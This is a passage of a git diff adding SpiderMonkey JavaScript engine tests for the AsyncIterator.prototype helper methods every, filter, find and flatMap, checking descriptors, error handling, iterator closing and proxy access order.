+check(null, false);
+check(undefined, false);
+check(NaN, false);
+check(-0, false);
+check(0n, false);
+check(createIsHTMLDDA(), false);
+check(Promise.resolve(false), false);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/every/descriptor.js b/js/src/tests/non262/AsyncIterator/prototype/every/descriptor.js
new file mode 100644
index 0000000000..180085cefe
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/every/descriptor.js
@@ -0,0 +1,10 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+
+const propDesc = Reflect.getOwnPropertyDescriptor(AsyncIterator.prototype, 'every');
+assertEq(typeof propDesc.value, 'function');
+assertEq(propDesc.writable, true);
+assertEq(propDesc.enumerable, false);
+assertEq(propDesc.configurable, true);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/every/error-from-correct-realm.js b/js/src/tests/non262/AsyncIterator/prototype/every/error-from-correct-realm.js
new file mode 100644
index 0000000000..2ff93254ce
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/every/error-from-correct-realm.js
@@ -0,0 +1,21 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+
+const otherGlobal = newGlobal({newCompartment: true});
+assertEq(TypeError !== otherGlobal.TypeError, true);
+
+async function *gen() {}
+
+gen().every().then(() => assertEq(true, false, 'expected error'), err => {
+ assertEq(err instanceof TypeError, true);
+});
+
+otherGlobal.AsyncIterator.prototype.every.call(gen()).then(() => assertEq(true, false, 'expected error'), err => {
+ assertEq(
+ err instanceof otherGlobal.TypeError,
+ true,
+ 'TypeError comes from the realm of the method.',
+ );
+});
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/every/fn-not-callable-throws.js b/js/src/tests/non262/AsyncIterator/prototype/every/fn-not-callable-throws.js
new file mode 100644
index 0000000000..025c46dfdf
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/every/fn-not-callable-throws.js
@@ -0,0 +1,26 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+
+async function *gen() {
+ yield 1;
+}
+
+function check(fn) {
+ gen().every(fn).then(() => {
+ throw new Error('every should have thrown');
+ },
+ (err) => {
+ assertEq(err instanceof TypeError, true);
+ });
+}
+
+check();
+check(undefined);
+check(null);
+check(0);
+check(false);
+check('');
+check(Symbol(''));
+check({});
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/every/fn-throws-close-iterator.js b/js/src/tests/non262/AsyncIterator/prototype/every/fn-throws-close-iterator.js
new file mode 100644
index 0000000000..2a18d2ab45
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/every/fn-throws-close-iterator.js
@@ -0,0 +1,24 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+
+class TestIterator extends AsyncIterator {
+ next() {
+ return Promise.resolve({ done: this.closed });
+ }
+
+ closed = false;
+ return() {
+ this.closed = true;
+ }
+}
+
+const fn = () => { throw new Error(); };
+const iter = new TestIterator();
+
+assertEq(iter.closed, false);
+iter.every(fn).then(() => assertEq(true, false, 'expected error'), err => {
+ assertEq(err instanceof Error, true);
+ assertEq(iter.closed, true);
+});
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/every/interleaving-calls.js b/js/src/tests/non262/AsyncIterator/prototype/every/interleaving-calls.js
new file mode 100644
index 0000000000..8aacdb4316
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/every/interleaving-calls.js
@@ -0,0 +1,24 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+
+const log = [];
+async function* gen(n) {
+ log.push(`${n}`);
+ yield 1;
+ log.push(`${n}`);
+ yield 2;
+}
+
+Promise.all([gen(1).every(() => true), gen(2).every(() => true)]).then(
+ () => {
+ assertEq(
+ log.join(' '),
+ '1 2 1 2',
+ );
+ },
+ err => {
+ throw err;
+ }
+);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/every/length.js b/js/src/tests/non262/AsyncIterator/prototype/every/length.js
new file mode 100644
index 0000000000..58d7942018
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/every/length.js
@@ -0,0 +1,17 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+/*---
+ The `length` property of AsyncIterator.prototype.every.
+info: |
+ ES7 section 17: Unless otherwise specified, the length property of a built-in
+ Function object has the attributes { [[Writable]]: false, [[Enumerable]]:
+ false, [[Configurable]]: true }.
+---*/
+
+const propDesc = Reflect.getOwnPropertyDescriptor(AsyncIterator.prototype.every, 'length');
+assertEq(propDesc.value, 1);
+assertEq(propDesc.writable, false);
+assertEq(propDesc.enumerable, false);
+assertEq(propDesc.configurable, true);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/every/name.js b/js/src/tests/non262/AsyncIterator/prototype/every/name.js
new file mode 100644
index 0000000000..086bfb13a6
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/every/name.js
@@ -0,0 +1,13 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+/*---
+ `name` property of AsyncIterator.prototype.every.
+---*/
+
+const propDesc = Reflect.getOwnPropertyDescriptor(AsyncIterator.prototype.every, 'name');
+assertEq(propDesc.value, 'every');
+assertEq(propDesc.writable, false);
+assertEq(propDesc.enumerable, false);
+assertEq(propDesc.configurable, true);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/every/next-throws-iterator-not-closed.js b/js/src/tests/non262/AsyncIterator/prototype/every/next-throws-iterator-not-closed.js
new file mode 100644
index 0000000000..98cc850a07
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/every/next-throws-iterator-not-closed.js
@@ -0,0 +1,24 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+
+class TestIterator extends AsyncIterator {
+ next() {
+ throw new Error();
+ }
+
+ closed = false;
+ return() {
+ this.closed = true;
+ }
+}
+
+const fn = () => {};
+const iter = new TestIterator();
+
+assertEq(iter.closed, false);
+iter.every(fn).then(() => assertEq(true, false, 'expected error'), err => {
+ assertEq(err instanceof Error, true);
+ assertEq(iter.closed, false);
+});
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/every/proxy.js b/js/src/tests/non262/AsyncIterator/prototype/every/proxy.js
new file mode 100644
index 0000000000..628f143e27
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/every/proxy.js
@@ -0,0 +1,46 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+//
+// This test checks that %AsyncIterator.prototype%.every only gets the `next` method off of the
+// iterator once, and never accesses the @@asyncIterator property.
+const log = [];
+const handlerProxy = new Proxy({}, {
+ get: (target, key, receiver) => (...args) => {
+ log.push(`${key}: ${args[1]?.toString()}`);
+ return Reflect[key](...args);
+ },
+});
+
+class Counter extends AsyncIterator {
+ value = 0;
+ next() {
+ const value = this.value;
+ if (value < 2) {
+ this.value = value + 1;
+ return Promise.resolve({done: false, value});
+ }
+ return Promise.resolve({done: true});
+ }
+}
+
+const iter = new Proxy(new Counter(), handlerProxy);
+iter.every(x => x % 2 == 0).then(value => {
+ assertEq(value, false)
+
+ assertEq(
+ log.join('\n'),
+ `get: every
+get: next
+get: value
+set: value
+getOwnPropertyDescriptor: value
+defineProperty: value
+get: value
+set: value
+getOwnPropertyDescriptor: value
+defineProperty: value
+get: return`
+ );
+});
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/every/return-true-if-all-match.js b/js/src/tests/non262/AsyncIterator/prototype/every/return-true-if-all-match.js
new file mode 100644
index 0000000000..01d0f75d58
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/every/return-true-if-all-match.js
@@ -0,0 +1,16 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+
+async function* gen() {
+ yield 1;
+ yield 3;
+ yield 5;
+}
+const fn = x => x % 2 == 1;
+
+gen().every(fn).then(result => assertEq(result, true));
+
+async function* empty() {}
+empty().every(x => x).then(result => assertEq(result, true));
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/every/short-circuit-on-false.js b/js/src/tests/non262/AsyncIterator/prototype/every/short-circuit-on-false.js
new file mode 100644
index 0000000000..7b2c74d513
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/every/short-circuit-on-false.js
@@ -0,0 +1,21 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+
+async function* gen() {
+ yield 1;
+ yield 2;
+ yield 3;
+}
+
+const log = [];
+const fn = value => {
+ log.push(value.toString());
+ return value % 2 == 1;
+};
+
+gen().every(fn).then(result => {
+ assertEq(result, false);
+ assertEq(log.join(','), '1,2');
+});
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/every/this-not-iterator-throws.js b/js/src/tests/non262/AsyncIterator/prototype/every/this-not-iterator-throws.js
new file mode 100644
index 0000000000..ed576c32ec
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/every/this-not-iterator-throws.js
@@ -0,0 +1,22 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+
+const fn = x => x;
+
+function check(x) {
+ AsyncIterator.prototype.every.call(x, fn).then(
+ () => {
+ throw new Error('check should have been rejected');
+ },
+ err => {
+ assertEq(err instanceof TypeError, true);
+ }
+ );
+}
+
+check();
+check(undefined);
+check({});
+check({next: 0});
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/every/value-throws-iterator-not-closed.js b/js/src/tests/non262/AsyncIterator/prototype/every/value-throws-iterator-not-closed.js
new file mode 100644
index 0000000000..423a85ca7b
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/every/value-throws-iterator-not-closed.js
@@ -0,0 +1,28 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+
+class TestError extends Error {}
+class TestIterator extends AsyncIterator {
+ next() {
+ return Promise.resolve({
+ done: false,
+ get value() {
+ throw new TestError();
+ }
+ });
+ }
+
+ closed = false;
+ return() {
+ closed = true;
+ }
+}
+
+const iterator = new TestIterator();
+assertEq(iterator.closed, false, 'iterator starts unclosed');
+iterator.every(x => x).then(() => assertEq(true, false, 'expected error'), err => {
+ assertEq(err instanceof TestError, true);
+ assertEq(iterator.closed, false, 'iterator remains unclosed');
+});
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/filter/coerce-result-to-boolean.js b/js/src/tests/non262/AsyncIterator/prototype/filter/coerce-result-to-boolean.js
new file mode 100644
index 0000000000..23e3a317eb
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/filter/coerce-result-to-boolean.js
@@ -0,0 +1,25 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+
+async function* gen(iterable) {
+ yield* iterable;
+}
+
+// All truthy values are kept.
+const truthyValues = [true, 1, [], {}, 'test'];
+(async () => {
+ for await (const value of gen([...truthyValues]).filter(x => x)) {
+ assertEq(truthyValues.shift(), value);
+ }
+})();
+
+// All falsy values are filtered out.
+const falsyValues = [false, 0, '', null, undefined, NaN, -0, 0n, createIsHTMLDDA()];
+gen(falsyValues).filter(x => x).next().then(
+ ({done, value}) => {
+ assertEq(done, true);
+ assertEq(value, undefined);
+ }
+);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/filter/filter.js b/js/src/tests/non262/AsyncIterator/prototype/filter/filter.js
new file mode 100644
index 0000000000..060e9853f2
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/filter/filter.js
@@ -0,0 +1,24 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+
+async function* gen() {
+ yield 1;
+ yield 2;
+ yield 3;
+}
+
+let iter = gen().filter(x => x % 2);
+
+for (const v of [1, 3]) {
+ console.log(iter);
+ iter.next().then(
+ ({done, value}) => {
+ assertEq(done, false);
+ assertEq(value, v);
+ }
+ );
+}
+
+iter.next().then(({done}) => assertEq(done, true));
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/filter/length.js b/js/src/tests/non262/AsyncIterator/prototype/filter/length.js
new file mode 100644
index 0000000000..7ca14621ff
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/filter/length.js
@@ -0,0 +1,21 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+//
+
+/*---
+esid: pending
+description: %AsyncIterator.prototype%.filter length value and descriptor.
+info: >
+ 17 ECMAScript Standard Built-in Objects
+features: [iterator-helpers]
+---*/
+
+assertEq(AsyncIterator.prototype.filter.length, 1);
+
+const propertyDescriptor = Reflect.getOwnPropertyDescriptor(AsyncIterator.prototype.filter, 'length');
+assertEq(propertyDescriptor.value, 1);
+assertEq(propertyDescriptor.enumerable, false);
+assertEq(propertyDescriptor.writable, false);
+assertEq(propertyDescriptor.configurable, true);
+
+if (typeof reportCompare == 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/filter/name.js b/js/src/tests/non262/AsyncIterator/prototype/filter/name.js
new file mode 100644
index 0000000000..1a8e030e9a
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/filter/name.js
@@ -0,0 +1,19 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+/*---
+esid: pending
+description: %AsyncIterator.prototype%.filter.name value and descriptor.
+info: >
+ 17 ECMAScript Standard Built-in Objects
+features: [iterator-helpers]
+---*/
+
+assertEq(AsyncIterator.prototype.filter.name, 'filter');
+
+const propertyDescriptor = Reflect.getOwnPropertyDescriptor(AsyncIterator.prototype.filter, 'name');
+assertEq(propertyDescriptor.value, 'filter');
+assertEq(propertyDescriptor.enumerable, false);
+assertEq(propertyDescriptor.writable, false);
+assertEq(propertyDescriptor.configurable, true);
+
+if (typeof reportCompare == 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/find/async-writes.js b/js/src/tests/non262/AsyncIterator/prototype/find/async-writes.js
new file mode 100644
index 0000000000..6d1707e2fe
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/find/async-writes.js
@@ -0,0 +1,20 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+
+let x = {a: () => true};
+
+async function* gen() {
+ yield x.a();
+ yield x.a();
+}
+
+gen().find(() => {}).then(
+ () => assertEq(true, false, 'expected error'),
+ err => assertEq(err instanceof Error, true),
+);
+
+x.a = () => {
+ throw Error();
+};
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/find/check-fn-after-getting-iterator.js b/js/src/tests/non262/AsyncIterator/prototype/find/check-fn-after-getting-iterator.js
new file mode 100644
index 0000000000..579e4f589a
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/find/check-fn-after-getting-iterator.js
@@ -0,0 +1,28 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+const log = [];
+const handlerProxy = new Proxy({}, {
+ get: (target, key, receiver) => (...args) => {
+ log.push(`${key}: ${args[1]?.toString()}`);
+ return Reflect[key](...args);
+ },
+});
+
+class TestIterator extends AsyncIterator {
+ next() {
+ return Promise.resolve({done: true});
+ }
+}
+
+const iter = new Proxy(new TestIterator(), handlerProxy);
+iter.find(1).then(() => assertEq(true, false, 'expected error'), err => {
+ assertEq(err instanceof TypeError, true);
+ assertEq(
+ log.join('\n'),
+ `get: find
+get: next`
+ );
+});
+
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/find/coerce-result-to-boolean.js b/js/src/tests/non262/AsyncIterator/prototype/find/coerce-result-to-boolean.js
new file mode 100644
index 0000000000..eb89eca840
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/find/coerce-result-to-boolean.js
@@ -0,0 +1,35 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+
+async function* gen(value) {
+ yield value;
+}
+const fn = x => x;
+function check(value, expected) {
+ gen(value).find(fn).then(result => assertEq(result, expected));
+}
+
+check(true, true);
+check(1, 1);
+check('test', 'test');
+
+check(false, undefined);
+check(0, undefined);
+check('', undefined);
+check(null, undefined);
+check(undefined, undefined);
+check(NaN, undefined);
+check(-0, undefined);
+check(0n, undefined);
+check(Promise.resolve(false), undefined);
+
+let array = [];
+check(array, array);
+
+let object = {};
+check(object, object);
+
+const htmlDDA = createIsHTMLDDA();
+check(htmlDDA, undefined);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/find/descriptor.js b/js/src/tests/non262/AsyncIterator/prototype/find/descriptor.js
new file mode 100644
index 0000000000..7b93147d81
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/find/descriptor.js
@@ -0,0 +1,13 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+/*---
+ Descriptor property of AsyncIterator.prototype.find
+---*/
+
+const propDesc = Reflect.getOwnPropertyDescriptor(AsyncIterator.prototype, 'find');
+assertEq(typeof propDesc.value, 'function');
+assertEq(propDesc.writable, true);
+assertEq(propDesc.enumerable, false);
+assertEq(propDesc.configurable, true);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/find/error-from-correct-realm.js b/js/src/tests/non262/AsyncIterator/prototype/find/error-from-correct-realm.js
new file mode 100644
index 0000000000..37c6b4b593
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/find/error-from-correct-realm.js
@@ -0,0 +1,21 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+
+const otherGlobal = newGlobal({newCompartment: true});
+assertEq(TypeError !== otherGlobal.TypeError, true);
+
+async function *gen() {}
+
+gen().find().then(() => assertEq(true, false, 'expected error'), err => {
+ assertEq(err instanceof TypeError, true);
+});
+
+otherGlobal.AsyncIterator.prototype.find.call(gen()).then(() => assertEq(true, false, 'expected error'), err => {
+ assertEq(
+ err instanceof otherGlobal.TypeError,
+ true,
+ 'TypeError comes from the realm of the method.',
+ );
+});
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/find/fn-not-callable-throws.js b/js/src/tests/non262/AsyncIterator/prototype/find/fn-not-callable-throws.js
new file mode 100644
index 0000000000..c858b812d3
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/find/fn-not-callable-throws.js
@@ -0,0 +1,26 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+
+async function *gen() {
+ yield 1;
+}
+
+function check(fn) {
+ gen().every(fn).then(() => {
+ throw new Error('every should have thrown');
+ },
+ (err) => {
+ assertEq(err instanceof TypeError, true);
+ });
+}
+
+check();
+check(undefined);
+check(null);
+check(0);
+check(false);
+check('');
+check(Symbol(''));
+check({});
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/find/fn-throws-close-iterator.js b/js/src/tests/non262/AsyncIterator/prototype/find/fn-throws-close-iterator.js
new file mode 100644
index 0000000000..9544c57d4a
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/find/fn-throws-close-iterator.js
@@ -0,0 +1,26 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+
+class TestIterator extends AsyncIterator {
+ next() {
+ return Promise.resolve({done: this.closed});
+ }
+
+ closed = false;
+ return() {
+ this.closed = true;
+ }
+}
+
+const fn = () => { throw new Error(); };
+const iter = new TestIterator();
+
+assertEq(iter.closed, false);
+iter.find(fn).then(() => {
+ throw new Error('promise should be rejected');
+}, err => {
+ assertEq(err instanceof Error, true);
+ assertEq(iter.closed, true);
+});
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/find/interleaving-calls.js b/js/src/tests/non262/AsyncIterator/prototype/find/interleaving-calls.js
new file mode 100644
index 0000000000..d973e8b030
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/find/interleaving-calls.js
@@ -0,0 +1,24 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+
+const log = [];
+async function* gen(n) {
+ log.push(`${n}`);
+ yield 1;
+ log.push(`${n}`);
+ yield 2;
+}
+
+Promise.all([gen(1).find(() => {}), gen(2).find(() => {})]).then(
+ () => {
+ assertEq(
+ log.join(' '),
+ '1 2 1 2',
+ );
+ },
+ err => {
+ throw err;
+ }
+);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/find/length.js b/js/src/tests/non262/AsyncIterator/prototype/find/length.js
new file mode 100644
index 0000000000..e207a52898
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/find/length.js
@@ -0,0 +1,17 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+/*---
+ The `length` property of AsyncIterator.prototype.find.
+info: |
+ ES7 section 17: Unless otherwise specified, the length property of a built-in
+ Function object has the attributes { [[Writable]]: false, [[Enumerable]]:
+ false, [[Configurable]]: true }.
+---*/
+
+const propDesc = Reflect.getOwnPropertyDescriptor(AsyncIterator.prototype.find, 'length');
+assertEq(propDesc.value, 1);
+assertEq(propDesc.writable, false);
+assertEq(propDesc.enumerable, false);
+assertEq(propDesc.configurable, true);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/find/name.js b/js/src/tests/non262/AsyncIterator/prototype/find/name.js
new file mode 100644
index 0000000000..21e8fa90f8
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/find/name.js
@@ -0,0 +1,13 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+/*---
+ `name` property of AsyncIterator.prototype.find.
+---*/
+
+const propDesc = Reflect.getOwnPropertyDescriptor(AsyncIterator.prototype.find, 'name');
+assertEq(propDesc.value, 'find');
+assertEq(propDesc.writable, false);
+assertEq(propDesc.enumerable, false);
+assertEq(propDesc.configurable, true);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/find/next-throws-iterator-not-closed.js b/js/src/tests/non262/AsyncIterator/prototype/find/next-throws-iterator-not-closed.js
new file mode 100644
index 0000000000..4c5cd3ddbd
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/find/next-throws-iterator-not-closed.js
@@ -0,0 +1,24 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+
+class TestIterator extends AsyncIterator {
+ next() {
+ throw new Error();
+ }
+
+ closed = false;
+ return() {
+ this.closed = true;
+ }
+}
+
+const fn = x => x;
+const iter = new TestIterator();
+
+assertEq(iter.closed, false);
+iter.find(fn).then(() => assertEq(true, false, 'expected error'), err => {
+ assertEq(err instanceof Error, true);
+ assertEq(iter.closed, false);
+});
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/find/proxy.js b/js/src/tests/non262/AsyncIterator/prototype/find/proxy.js
new file mode 100644
index 0000000000..4f8a210b45
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/find/proxy.js
@@ -0,0 +1,46 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+//
+// This test checks that %Iterator.prototype%.find only gets the `next` method off of the
+// iterator once, and never accesses the @@iterator property.
+const log = [];
+const handlerProxy = new Proxy({}, {
+ get: (target, key, receiver) => (...args) => {
+ log.push(`${key}: ${args[1]?.toString()}`);
+ return Reflect[key](...args);
+ },
+});
+
+class Counter extends AsyncIterator {
+ value = 0;
+ next() {
+ const value = this.value;
+ if (value < 2) {
+ this.value = value + 1;
+ return Promise.resolve({done: false, value});
+ }
+ return Promise.resolve({done: true});
+ }
+}
+
+const iter = new Proxy(new Counter(), handlerProxy);
+iter.find(x => x % 2 == 1).then(value => {
+ assertEq(value, 1);
+
+ assertEq(
+ log.join('\n'),
+ `get: find
+get: next
+get: value
+set: value
+getOwnPropertyDescriptor: value
+defineProperty: value
+get: value
+set: value
+getOwnPropertyDescriptor: value
+defineProperty: value
+get: return`
+ );
+});
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/find/return-undefined-if-none-match.js b/js/src/tests/non262/AsyncIterator/prototype/find/return-undefined-if-none-match.js
new file mode 100644
index 0000000000..b7dc847036
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/find/return-undefined-if-none-match.js
@@ -0,0 +1,16 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+
+async function* gen() {
+ yield 1;
+ yield 3;
+ yield 5;
+}
+const fn = x => x % 2 == 0;
+
+gen().find(fn).then(result => assertEq(result, undefined));
+
+async function* empty() {}
+empty().find(x => x).then(result => assertEq(result, undefined));
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/find/short-circuit-on-match.js b/js/src/tests/non262/AsyncIterator/prototype/find/short-circuit-on-match.js
new file mode 100644
index 0000000000..4404c53ac1
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/find/short-circuit-on-match.js
@@ -0,0 +1,21 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+
+async function* gen() {
+ yield 1;
+ yield 2;
+ yield 3;
+}
+
+const log = [];
+const fn = (value) => {
+ log.push(value.toString());
+ return value % 2 == 0;
+};
+
+gen().find(fn).then(result => {
+ assertEq(result, 2);
+ assertEq(log.join(','), '1,2');
+});
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/find/this-not-iterator-throws.js b/js/src/tests/non262/AsyncIterator/prototype/find/this-not-iterator-throws.js
new file mode 100644
index 0000000000..97c8b142a2
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/find/this-not-iterator-throws.js
@@ -0,0 +1,20 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+
+const fn = x => x;
+
+function check(x) {
+ AsyncIterator.prototype.find.call(x, fn).then(
+ () => assertEq(true, false, 'expected error'),
+ err => {
+ assertEq(err instanceof TypeError, true);
+ }
+ );
+}
+
+check();
+check(undefined);
+check({});
+check({next: 0});
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/find/value-throws-iterator-not-closed.js b/js/src/tests/non262/AsyncIterator/prototype/find/value-throws-iterator-not-closed.js
new file mode 100644
index 0000000000..c639eea5a4
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/find/value-throws-iterator-not-closed.js
@@ -0,0 +1,28 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+
+class TestError extends Error {}
+class TestIterator extends AsyncIterator {
+ next() {
+ return Promise.resolve({
+ done: false,
+ get value() {
+ throw new TestError();
+ }
+ });
+ }
+
+ closed = false;
+ return() {
+ closed = true;
+ }
+}
+
+const iterator = new TestIterator();
+assertEq(iterator.closed, false, 'iterator starts unclosed');
+iterator.find(x => x).then(() => assertEq(true, false, 'expected error'), err => {
+ assertEq(err instanceof TestError, true);
+ assertEq(iterator.closed, false, 'iterator remains unclosed');
+});
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/flatMap/close-iterator-when-inner-complete-throws.js b/js/src/tests/non262/AsyncIterator/prototype/flatMap/close-iterator-when-inner-complete-throws.js
new file mode 100644
index 0000000000..bca8f7c316
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/flatMap/close-iterator-when-inner-complete-throws.js
@@ -0,0 +1,55 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+
+//
+//
+/*---
+esid: pending
+description: %AsyncIterator.prototype%.flatMap closes the iterator when innerComplete throws.
+info: >
+ Iterator Helpers proposal 2.1.6.7
+ 1. Repeat,
+ ...
+ k. Repeat, while innerAlive is true,
+ ...
+ v. Let innerComplete be IteratorComplete(innerNext).
+ vi. IfAbruptCloseAsyncIterator(innerComplete, iterated).
+features: [iterator-helpers]
+---*/
+
+class TestIterator extends AsyncIterator {
+ async next() {
+ return {done: false, value: 0};
+ }
+
+ closed = false;
+ async return() {
+ this.closed = true;
+ return {done: true};
+ }
+}
+
+class TestError extends Error {}
+class InnerIterator extends AsyncIterator {
+ async next() {
+ return {
+ get done() {
+ throw new TestError();
+ }
+ };
+ }
+}
+
